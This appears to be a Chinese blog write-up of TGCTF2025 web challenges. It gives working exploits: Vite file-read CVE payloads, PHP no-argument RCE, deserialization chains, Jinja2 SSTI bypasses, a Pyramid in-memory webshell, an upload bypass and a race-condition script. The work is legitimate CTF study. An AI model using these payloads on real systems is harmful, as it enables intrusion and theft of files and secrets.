TGCTF2025

前言

​ 题目质量不错,复现一下

Web

前端GAME

知识点:CVE-2025-30208 Vite开发服务器任意文件读取漏洞

​ 页面是一个前端小游戏,可以看到是vite开发的

image-20250510124825643

​ 我们来学一下CVE2025-30208,讲一下他的核心漏洞:

当请求 URL 带有 ?raw?? / ?import&raw?? 等结尾分隔符时,Vite 中移除 ? 等尾部分隔符的逻辑与查询字符串正则不匹配的处理不一致,导致访问超出允许列表的文件时的“403”限制被绕过。

看来不太好理解,这里给个例子

image-20250510125835488

明显这是一个文件读取漏洞,我们可以通过访问/@fs/etc/passwd来检测这个漏洞是否存在

1
2
3
url+/@fs/etc/passwd?import&raw??

url+/@fs/etc/passwd?raw??

image-20250510131540262

image-20250510131805500

现在知道存在这个漏洞了,需要找到flag在哪,我们试试读docker-entrypoint.sh和源码但是失败了,那么flag在哪呢?

进行了一次游戏后发现

image-20250510133011989

那么就很好解决了

1
url+/@fs/tgflagggg?raw??

image-20250510133137500

前端GAME Plus

知识点:CVE-2025-31486 Vite开发服务器任意文件读取漏洞

漏洞不一样了,不过同样是vite开发服务器的文件读取功能,看一下利用方式

image-20250510201428864

这里直接利用就行

1
url+/etc/passwd?.svg?.wasm?init

image-20250510202858246

这就算成功了,原理咱也不知道,就按找这个来,flag在根目录

1
url+/tgflagggg?.svg?.wasm?init

image-20250510203404755

image-20250510203427126

用poc2的话,需要知道绝对路径,这里挺难猜的,就一笔带过

1
curl "http://127.0.0.1:53466/@fs/app/?/../../../../../tgflagggg?import&?raw"

image-20250510204354152

前端game Ultra

知识点:CVE-2025-32395 Vite开发服务器任意文件读取漏洞

又是另一个洞,看看文章了解一下利用方式,就是上一篇的第二种利用方式

需要知道绝对路径

image-20250605103623621

​ poc:

1
2
# 这里的/x/x/x/vite-project/是指Vite所在的绝对路径
curl --request-target /@fs/x/x/x/vite-project/#/../../../../../etc/passwd http://localhost:5173/

​ 解释一下原理:复现与修复指南:Vite再次bypass(CVE-2025-32395)

image-20250605104944263

​ 另外,requests库无法复现,可以用http.client库

​ 这里就知道绝对路径app了

image-20250605103751582

1
curl --request-target /@fs/app/#/../../../../../etc/passwd http://127.0.0.1:65507/

image-20250605104322289

1
curl --request-target /@fs/app/#/../../../../../tgflagggg http://127.0.0.1:65507/

image-20250605104503388

火眼辩魑魅

知识点:easy签到?php Smarty模板注入!

​ dirsearch出robots.txt,发现六个洞,根据题目意思说,这六个洞只有一个是通的

image-20250605105609099

​ 官wp里说是tgxff是通的,但是shell是可以直接连蚁剑的。也可以用反引号,非预期了

image-20250605105920258

​ 然后我们来看xff。因为西电抓不了包,这里直接看这个,是个ssti,是PHP的模板注入(Smarty模板)

image-20250605112238440

​ 额,打不通,就当只有rce是通的QAQ

AAA偷渡阴平

知识点:无参数rce

image-20250605182919247

​ 无参数rce

1
eval(array_pop(next(get_defined_vars())));

同时post传任意参数进行rce

image-20250613195608519

AAA偷渡阴平(复仇)

知识点:session_id()、hex2bin()、构造无参数rce

​ 同样的题,禁用了无参数rce,能用的只有

1
2, !, 字母, (), |

​ 没ban2说明会用到hex2bin()

我们可以通过session进行构造,具体如下图

image-20250630201817942

image-20250630201532715

​ 获取flag

image-20250630200716295

什么文件上传?

知识点:php反序列化

​ 传啥都是hacker,dirsearch扫一下

image-20250701103745843

image-20250701103842365

​ 出现提示,看来是需要三位小写字母当后缀才能成功,这里直接爆破一下

image-20250701104952728

image-20250701110428915

​ 后缀是atg,然后去/uploads/1.atg,发现

​ 还有class.php

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
<?php
    highlight_file(__FILE__);
    error_reporting(0);
    function best64_decode($str)
    {
        return base64_decode(base64_decode(base64_decode(base64_decode(base64_decode($str)))));
    }
    class yesterday {
        public $learn;
        public $study="study";
        public $try;
        public function __construct()
        {
            $this->learn = "learn<br>";
        }
        public function __destruct()
        {
            echo "You studied hard yesterday.<br>";
            return $this->study->hard();
        }
    }
    class today {
        public $doing;
        public $did;
        public $done;
        public function __construct(){
            $this->did = "What you did makes you outstanding.<br>";
        }
        public function __call($arg1, $arg2)
        {
            $this->done = "And what you've done has given you a choice.<br>";
            echo $this->done;
            if(md5(md5($this->doing))==666){
                return $this->doing();
            }
            else{
                return $this->doing->better;
            }
        }
    }
    class tommoraw {
        public $good;
        public $bad;
        public $soso;
        public function __invoke(){
            $this->good="You'll be good tommoraw!<br>";
            echo $this->good;
        }
        public function __get($arg1){
            $this->bad="You'll be bad tommoraw!<br>";
        }

    }
    class future{
        private $impossible="How can you get here?<br>";
        private $out;
        private $no;
        public $useful1;public $useful2;public $useful3;public $useful4;public $useful5;public $useful6;public $useful7;public $useful8;public $useful9;public $useful10;public $useful11;public $useful12;public $useful13;public $useful14;public $useful15;public $useful16;public $useful17;public $useful18;public $useful19;public $useful20;

        public function __set($arg1, $arg2) {
            if ($this->out->useful7) {
                echo "Seven is my lucky number<br>";
                system('whoami');
            }
        }
        public function __toString(){
            echo "This is your future.<br>";
            system($_POST["wow"]);
            return "win";
        }
        public function __destruct(){
            $this->no = "no";
            return $this->no;
        }
    }
    if (file_exists($_GET['filename'])){
        echo "Focus on the previous step!<br>";
    }
    else{
        $data=substr($_GET['filename'],0,-4);
        unserialize(best64_decode($data));
    }
    // You learn yesterday, you choose today, can you get to your future?
?>

​ 是个反序列化,审完发现好像不需要atg,好好好白爆了。

​ 链子很简单,yesterday的 __ destruct()–>today的__ call()–>future的__tostring()。

​ 这里有个盲区,在计算md5($this->doing)时,PHP需要将$this->doing转换为字符串,就已经触发__toString()

​ 所以不需要绕过md5,直接打就好

image-20250701120911109

什么文件上传?(复仇)

知识点:phar+文件上传

​ 发现best64_decode中加了一个md5,所以原来的方法肯定是不行了的

image-20250701151226784

​ 我们可以尝试用phar反序列化+文件上传。

​ 之前在ICLESCTF做过一次这个题型,这里就直接给链子

image-20250701152117267

​ 生成的test.phar改一下后缀名,改为atg(call back)然后文件上传,最后用phar伪协议解压缩phar文件

这个就是php解压缩报的一个函数,不管后缀是什么,都会当做压缩包来解压

image-20250701153809321

​ 最后,flag在环境变量中

image-20250701154843568

直面天命

知识点:爆破、SSTI

猜测是ssti,尝试后出现waf,看来就是打ssti了

image-20250701160448248

​ 源码处发现/hint

image-20250701160743785

image-20250701160852796

爆破得到路由/aazz

进去后源码提示可以传参,接着爆破参数,得到filename

image-20250701161825243

然后直接目录穿越就打到flag了

image-20250701161957792

​ 当然是非预期,预期这里可以读到app.py

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['{','}','popen','os','import','eval','_','system','read','base','globals']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
            template= template.replace("直面","{{").replace("天命","}}")
            template = template
    if "cat" in template:
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:<br>{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:<br>有一个由4个小写英文字母组成的路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    filename = request.args.get('filename', '')
    if filename == "":
        return send_from_directory('static', 'file.html')

    if not filename.replace('_', '').isalnum():
        content = jsonify({'error': '只允许字母和数字!'}), 400
    if os.path.isfile(filename):
        try:
            with open(filename, 'r') as file:
                content = file.read()
            return content
        except Exception as e:
            return jsonify({'error': str(e)}), 500
    else:
        return jsonify({'error': '路径不存在或者路径非法'}), 404


if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

​ 根据源码,应该是把{{}}换成了直面天命,然后打payload就行

1
直面lipsum|attr("\u005f\u005f\u0067\u006c\u006f\u0062\u0061\u006c\u0073\u005f\u005f")|attr("\u0067\u0065\u0074")("\u006f\u0073")|attr("\u0070\u006f\u0070\u0065\u006e")("cat /flag")|attr("\u0072\u0065\u0061\u0064")()天命

image-20250701163825009

直面天命(复仇)

知识点:SSTI

照样去看源码,去/aazz

image-20250701164401632

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66

import os
import string
from flask import Flask, request, render_template_string, jsonify, send_from_directory
from a.b.c.d.secret import secret_key

app = Flask(__name__)

black_list=['lipsum','|','%','{','}','map','chr', 'value', 'get', "url", 'pop','include','popen','os','import','eval','_','system','read','base','globals','_.','set','application','getitem','request', '+', 'init', 'arg', 'config', 'app', 'self']
def waf(name):
    for x in black_list:
        if x in name.lower():
            return True
    return False
def is_typable(char):
    # 定义可通过标准 QWERTY 键盘输入的字符集
    typable_chars = string.ascii_letters + string.digits + string.punctuation + string.whitespace
    return char in typable_chars

@app.route('/')
def home():
    return send_from_directory('static', 'index.html')

@app.route('/jingu', methods=['POST'])
def greet():
    template1=""
    template2=""
    name = request.form.get('name')
    template = f'{name}'
    if waf(name):
        template = '想干坏事了是吧hacker?哼,还天命人,可笑,可悲,可叹<br><img src="{{  url_for("static", filename="3.jpeg") }}" alt="Image">'
    else:
        k=0
        for i in name:
            if is_typable(i):
                continue
            k=1
            break
        if k==1:
            if not (secret_key[:2] in name and secret_key[2:]):
                template = '连“六根”都凑不齐,谈什么天命不天命的,还是戴上这金箍吧<br><br>再去西行历练历练<br><br><img src="{{  url_for("static", filename="4.jpeg") }}" alt="Image">'
                return render_template_string(template)
            template1 = "“六根”也凑齐了,你已经可以直面天命了!我帮你把“secret_key”替换为了“{{}}”<br>最后,如果你用了cat,就可以见到齐天大圣了<br>"
            template= template.replace("天命","{{").replace("难违","}}")
            template = template
    if "cat" in template:
        template2 = '<br>或许你这只叫天命人的猴子,真的能做到?<br><br><img src="{{  url_for("static", filename="2.jpeg") }}" alt="Image">'
    try:
        return template1+render_template_string(template)+render_template_string(template2)
    except Exception as e:
        error_message = f"500报错了,查询语句如下:<br>{template}"
        return error_message, 400

@app.route('/hint', methods=['GET'])
def hinter():
    template="hint:<br>有一个aazz路由,去那里看看吧,天命人!"
    return render_template_string(template)

@app.route('/aazz', methods=['GET'])
def finder():
    with open(__file__, 'r') as f:
        source_code = f.read()
    return f"<pre>{source_code}</pre>", 200, {'Content-Type': 'text/html; charset=utf-8'}

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=80)

加了点黑名单,然后直面天命换成了天命难违,武器库嗦了

1
天命joiner["\x5f\x5f\x69\x6e\x69\x74\x5f\x5f"]["\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f"]["\x6f\x73"]["\x70\x6f\x70\x65\x6e"]("ls /")["\x72\x65\x61\x64"]()难违

image-20250701165239222

熟悉的配方,熟悉的味道

知识点:Pyramid内存马

​ 上来就给源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
from pyramid.config import Configurator
from pyramid.request import Request
from pyramid.response import Response
from pyramid.view import view_config
from wsgiref.simple_server import make_server
from pyramid.events import NewResponse
import re
from jinja2 import Environment, BaseLoader

eval_globals = { #防止eval执行恶意代码
    '__builtins__': {},      # 禁用所有内置函数
    '__import__': None       # 禁止动态导入
}


def checkExpr(expr_input):
    expr = re.split(r"[-+*/]", expr_input)
    print(exec(expr_input))

    if len(expr) != 2:
        return 0
    try:
        int(expr[0])
        int(expr[1])
    except:
        return 0

    return 1


def home_view(request):
    expr_input = ""
    result = ""

    if request.method == 'POST':
        expr_input = request.POST['expr']
        if checkExpr(expr_input):
            try:
                result = eval(expr_input, eval_globals)
            except Exception as e:
                result = e
        else:
            result = "爬!"


    template_str = xxx

    env = Environment(loader=BaseLoader())
    template = env.from_string(template_str)
    rendered = template.render(expr_input=expr_input, result=result)
    return Response(rendered)


if __name__ == '__main__':
    with Configurator() as config:
        config.add_route('home_view', '/')
        config.add_view(home_view, route_name='home_view')
        app = config.make_wsgi_app()

    server = make_server('0.0.0.0', 9040, app)
    server.serve_forever()

利用点在exec(),无回显。可以用盲注或者内存马,这里试试我的武器库

​ 武器库不管用,这个是新的一个框架,Pyramid框架,后续更新在内存马中

这里直接给出payload

1
expr=config.add_route('shell_route','/shell');config.add_view(lambda request:Response(__import__('os').popen(request.params.get('cmd')).read()),route_name='shell_route');app = config.make_wsgi_app()

image-20250701192325389

此外还可以用时间盲注布尔盲注

(ez)upload

知识点:文件上传move_uploaded_file()函数

​ dirsearch扫不出upload.php.bak,不过有index.php.bak也不难推断出upload.php.bak

​ 得到源码

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
define('UPLOAD_PATH', __DIR__ . '/uploads/');
$is_upload = false;
$msg = null;
$status_code = 200; // 默认状态码为 200
if (isset($_POST['submit'])) {
    if (file_exists(UPLOAD_PATH)) {
        $deny_ext = array("php", "php5", "php4", "php3", "php2", "html", "htm", "phtml", "pht", "jsp", "jspa", "jspx", "jsw", "jsv", "jspf", "jtml", "asp", "aspx", "asa", "asax", "ascx", "ashx", "asmx", "cer", "swf", "htaccess");

        if (isset($_GET['name'])) {
            $file_name = $_GET['name'];
        } else {
            $file_name = basename($_FILES['name']['name']);
        }
        $file_ext = pathinfo($file_name, PATHINFO_EXTENSION);

        if (!in_array($file_ext, $deny_ext)) {
            $temp_file = $_FILES['name']['tmp_name'];
            $file_content = file_get_contents($temp_file);

            if (preg_match('/.+?</s', $file_content)) {
                $msg = '文件内容包含非法字符,禁止上传!';
                $status_code = 403; // 403 表示禁止访问
            } else {
                $img_path = UPLOAD_PATH . $file_name;
                if (move_uploaded_file($temp_file, $img_path)) {
                    $is_upload = true;
                    $msg = '文件上传成功!';
                } else {
                    $msg = '上传出错!';
                    $status_code = 500; // 500 表示服务器内部错误
                }
            }
        } else {
            $msg = '禁止保存为该类型文件!';
            $status_code = 403; // 403 表示禁止访问
        }
    } else {
        $msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
        $status_code = 404; // 404 表示资源未找到
    }
}

// 设置 HTTP 状态码
http_response_code($status_code);

// 输出结果
echo json_encode([
    'status_code' => $status_code,
    'msg' => $msg,
]);

​ 黑名单ban了很多,但是没ban .user.ini,不过这里打这个打不进。

​ 审计代码发现函数move_uploaded_file($temp_file, $img_path)

​ 可以get传name,name的值会替换上传的文件值,这样的话思路就清晰了,我们上传一个php文件,然后name传参1.php/.

​ 这样传上去后,原先的uploads/1.php/就等于uploads/1.php。就可以命令执行了

image-20250701201435895

image-20250701200314433

​ 不过好像非预期了,文件内容应该还要PCRE回溯次数限制绕过正则,也很简单,文件内容加一百万个a就行了,这里不多说。

老登,炸鱼来了?

知识点:Go语言

一个笔记页面,原先的笔记就是源码,用Go写的

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
package main

import (
	"fmt"
	"io"
	"log"
	"net/http"
	"os"
	"path/filepath"
	"strings"
	"text/template"
	"time"
)

type Note struct {
	Name       string
	ModTime    string
	Size       int64
	IsMarkdown bool
}

var templates = template.Must(template.ParseGlob("templates/*"))

type PageData struct {
	Notes []Note
	Error string
}

// 检查路径是否合法
func blackJack(path string) error {

	if strings.Contains(path, "..") || strings.Contains(path, "/") || strings.Contains(path, "flag") {
		return fmt.Errorf("非法路径")
	}

	return nil
}

// 渲染模板
func renderTemplate(w http.ResponseWriter, tmpl string, data interface{}) {
	safe := templates.ExecuteTemplate(w, tmpl, data)
	if safe != nil {
		http.Error(w, safe.Error(), http.StatusInternalServerError)
	}
}

// 渲染错误页面
func renderError(w http.ResponseWriter, message string, code int) {
	w.WriteHeader(code)
	templates.ExecuteTemplate(w, "error.html", map[string]interface{}{
		"Code":    code,
		"Message": message,
	})
}

func main() {
	// 创建 notes 目录
	os.Mkdir("notes", 0755)

	safe := blackJack("/flag")

	// 首页路由
	http.HandleFunc("/", func(w http.ResponseWriter, r *http.Request) {
		files, safe := os.ReadDir("notes")
		if safe != nil {
			renderError(w, "无法读取目录", http.StatusInternalServerError)
			return
		}

		var notes []Note
		for _, f := range files {
			if f.IsDir() {
				continue
			}

			info, _ := f.Info()
			notes = append(notes, Note{
				Name:       f.Name(),
				ModTime:    info.ModTime().Format("2006-01-02 15:04"),
				Size:       info.Size(),
				IsMarkdown: strings.HasSuffix(f.Name(), ".md"),
			})
		}

		renderTemplate(w, "index.html", PageData{Notes: notes})
	})
	
	// 读取笔记路由
	http.HandleFunc("/read", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")

		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		file, safe := os.Open(filepath.Join("notes", name))
		if safe != nil {
			renderError(w, "文件不存在", http.StatusNotFound)
			return
		}

		data, safe := io.ReadAll(io.LimitReader(file, 10240))
		if safe != nil {
			renderError(w, "读取失败", http.StatusInternalServerError)
			return
		}

		if strings.HasSuffix(name, ".md") {
			w.Header().Set("Content-Type", "text/html")
			fmt.Fprintf(w, `<html><head><link rel="stylesheet" href="https://cdnjs.cloudflare.com/ajax/libs/github-markdown-css/5.1.0/github-markdown.min.css"></head><body class="markdown-body">%s</body></html>`, data)
		} else {
			w.Header().Set("Content-Type", "text/plain")
			w.Write(data)
		}
	})

	// 写入笔记路由
	http.HandleFunc("/write", func(w http.ResponseWriter, r *http.Request) {
		if r.Method != "POST" {
			renderError(w, "方法不允许", http.StatusMethodNotAllowed)
			return
		}

		name := r.FormValue("name")
		content := r.FormValue("content")

		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		if r.FormValue("format") == "markdown" && !strings.HasSuffix(name, ".md") {
			name += ".md"
		} else {
			name += ".txt"
		}

		if len(content) > 10240 {
			content = content[:10240]
		}

		safe := os.WriteFile(filepath.Join("notes", name), []byte(content), 0600)
		if safe != nil {
			renderError(w, "保存失败", http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, "/", http.StatusSeeOther)
	})

	// 删除笔记路由
	http.HandleFunc("/delete", func(w http.ResponseWriter, r *http.Request) {
		name := r.URL.Query().Get("name")
		if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return
		}

		safe := os.Remove(filepath.Join("notes", name))
		if safe != nil {
			renderError(w, "删除失败", http.StatusInternalServerError)
			return
		}

		http.Redirect(w, r, "/", http.StatusSeeOther)
	})

	// 静态文件服务
	http.Handle("/static/", http.StripPrefix("/static/", http.FileServer(http.Dir("static"))))

	// 启动 HTTP 服务器
	srv := &http.Server{
		Addr:         ":9046",
		ReadTimeout:  10 * time.Second,
		WriteTimeout: 15 * time.Second,
	}
	log.Fatal(srv.ListenAndServe())
}

关键点:

1
2
3
if safe = blackJack(name); safe != nil {
			renderError(w, safe.Error(), http.StatusBadRequest)
			return

​ 可以发现此处safe的赋值使用的是=而不是:=,所以此时第一次输入一个任意的name,使得safe被赋值为 nil,然后立刻读取flag,此时safe还会是 nil。从而在服务器验证逻辑的”时间窗口”内绕过黑名单读取到flag

​ 所以是条件竞争,下面是脚本

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import aiohttp
import asyncio
import time

class Solver:
    def __init__(self, baseUrl):
        # 初始化基础URL和端点
        self.baseUrl = baseUrl
        # 构造读取文件的端点URL(注意这里直接拼接,可能导致双斜杠问题)
        self.READ_FILE_ENDPOINT = f'{self.baseUrl}'
        # 有效请求参数(正常文件读取)
        self.VALID_CHECK_PARAMETER = '/read?name=1'
        # 无效请求参数(路径遍历攻击尝试)
        self.INVALID_CHECK_PARAMETER = '/read?name=../../../flag'
        # 竞争条件的并发请求数量
        self.RACE_CONDITION_JOBS = 100

    async def setSessionCookie(self, session):
        # 设置会话cookie
        await session.get(self.baseUrl)

    async def raceValidationCheck(self, session, parameter):
        # 构造完整的请求URL
        url = f'{self.READ_FILE_ENDPOINT}{parameter}'
        # 发送GET请求并返回响应文本
        async with session.get(url) as response:
            return await response.text()

    async def raceCondition(self, session):
        # 创建任务列表
        tasks = list()
        # 添加大量并发请求(有效和无效请求交替)
        for _ in range(self.RACE_CONDITION_JOBS):
            tasks.append(self.raceValidationCheck(session, self.VALID_CHECK_PARAMETER))
            tasks.append(self.raceValidationCheck(session, self.INVALID_CHECK_PARAMETER))
        # 并行执行所有任务
        return await asyncio.gather(*tasks)

    async def solve(self):
        # 创建aiohttp客户端会话
        async with aiohttp.ClientSession() as session:
            # 等待0.1秒(可能是为了让反向代理准备好)
            await asyncio.sleep(0.1)

            attempts = 1
            finishedRaceConditionJobs = 0
            while True:
                # 打印当前尝试次数和完成的竞争条件任务数
                print(f'[*] Attempts #{attempts} - Finished race condition jobs: {finishedRaceConditionJobs}', end='\r')

                # 执行一批竞争条件检查
                results = await self.raceCondition(session)
                attempts += 1
                finishedRaceConditionJobs += self.RACE_CONDITION_JOBS

                # 检查所有响应结果
                for result in results:
                    print(result)
                    # 如果响应中不包含flag格式,继续检查下一个
                    if 'TGCTF{' not in result:
                        continue

                    # 找到flag则打印并退出
                    print(f'\n[+] We won the race window! Flag: {result.strip()}')
                    exit(0)


if __name__ == '__main__':
    # 目标基础URL
    baseUrl = 'http://127.0.0.1:63845/'
    # 创建Solver实例
    solver = Solver(baseUrl)
    # 运行solve协程
    asyncio.run(solver.solve())

​ 电脑跑不出来,就这样吧

小结

​ 拖了很久终于还是复现完了,没有我想象的那么艰难,不过还是要再去学一下Pyramid内存马和Smarty的ssti

comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计